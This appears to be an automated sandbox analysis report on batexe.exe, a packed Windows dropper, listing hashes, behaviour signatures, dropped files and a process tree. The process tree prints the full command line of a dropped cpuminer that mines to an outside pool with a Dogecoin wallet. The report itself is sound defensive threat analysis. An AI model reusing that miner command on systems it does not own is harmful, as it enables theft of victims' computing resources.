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Analysis

  • max time kernel
    292s
  • max time network
    294s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    14/02/2024, 15:37

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3576
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\60EC.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2984
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4744

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

    Filesize

    3.9MB

    MD5

    bc930de64b4b4f73b4be89efbd5ab9dd

    SHA1

    10467d5dc2edfc26815d8496eedbf0e7263cd42d

    SHA256

    517988b1bd35078012cd900f015c4111b0cd0ecf06a41f6ba3607f339b1a174a

    SHA512

    0549a80f2ebea146407cd13c77b53eaae95f500386a1fd16b71a1dd04ec0098931031be7df320fe47331323816710f0557d6c8339b055076feac0a6bca49c3bd

  • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

    Filesize

    3.0MB

    MD5

    00a0b239afd49e8c4ca721859cd8bba6

    SHA1

    e181376ebd5ace4750459fa06a5432a30bc4dfcc

    SHA256

    8dfd085c41f1254d411bcd22f5d8e0a6e05e09cc9023ce40a500ab129d1d2b9c

    SHA512

    be4c895a022473815d4f3435bdf37f9994df6955b4032bc1377c0b88a1cf273593f4c902e677997322b0f2e669e259bef85c8fb0cc7638059e658e61553b7537

  • C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

    Filesize

    2.5MB

    MD5

    16f4a9ccd7208a3cc4740066ece040ee

    SHA1

    630c3b47c73ef5f75da117a0575193830fc72a8a

    SHA256

    7fe723a12079ca17325142e8b739064ae6ea2d3fc6b82abcece5a1ec2a14dcdb

    SHA512

    e28cd47027b71819de707aadebf427771a08084effe79d338a2b139d9ec501759df7462419ef15957c22a09270b7c635cbc47896056a8df050439a826ed73921

  • C:\Users\Admin\AppData\Local\Temp\60EC.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.8MB

    MD5

    7f724a160cbb5b0da06edfa9e541e4ad

    SHA1

    2ec4242769536e8d7a18be771c30c455dae9a9a8

    SHA256

    880643744abd15afedcd32d8d7d7360e216bd9fada7683fd29716344575a7d4c

    SHA512

    d2917f6b5d042df7bb541ddec6b0403918b66bc276266e9e047ffa3fa55cb0a504f8d3bc39697f1da3f87702519425f2e139493453d485346ec137466c2d008c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.2MB

    MD5

    31312f16234729514bb120125db44dc0

    SHA1

    7b359111014867aca9874191a9653d3a76f94436

    SHA256

    609a32398098656bbcfefc0e1ddee4e02775fe4c5481b2a7c6fb5f591e9500e1

    SHA512

    4c9670e4426ceeeaceca3d2fbab970250e04fb9a85d1ba102e4da78b93c7ad59ab1a1095be23622be4b043df3bc7aaf08c89bdbf44b7a5f90de1ddcda9b782ca

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.3MB

    MD5

    08ea067b4dd2a654b543c60a701234f8

    SHA1

    fa52702f751a685754cd434fad9bf1ecd976cf3a

    SHA256

    7334027dbc6b34eee84be3da7e3a7ceeb10afa95a0ee5679df689372e972d67f

    SHA512

    5b5d33bb80f2f64b0163a7bb78b8ec16a821481006feff49111da41986e9aa467551c22da406a73993ebd35e6c6722dedc50991b92e17db1389cdc1c01735079

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    ff3a952bf91de0ea61091b597665af38

    SHA1

    cfd18b0a6a26c60ef9c8687b4600e3001b5a201e

    SHA256

    f004914d3b7e9c3fcba68efde573e215a499a22245857481be2e2e71c51b9422

    SHA512

    d6bc226c61e59c0a4497be7b866e456739b387f8e56c2973bef025deb1dfa0bd9ad79f228c0dfa35270d0356f8e513a4a76dcd134f1ca7c0783576f64971c7cf

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.7MB

    MD5

    976e33883725f0b63e20c368ea721dc1

    SHA1

    372ba2de9f8d975538e2cc62545bbd6e9ffa8171

    SHA256

    88934861649b34a807f999bd3782cf73c45a461a330abf2e549ceb674a7ddaf0

    SHA512

    7e469ddccecc7d36dfb2688fb0445dad202a16d4df4b90b778f5e7af6714dfb431cf608783cf213e7c8639f701817c37c4842087f5cbc40347f9f59d986c3567

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/3236-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3576-9-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3576-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4744-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4744-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-47-0x0000000001120000-0x00000000029D5000-memory.dmp

    Filesize

    24.7MB

  • memory/4744-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4744-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-46-0x000000006D880000-0x000000006D918000-memory.dmp

    Filesize

    608KB

  • memory/4744-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4744-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB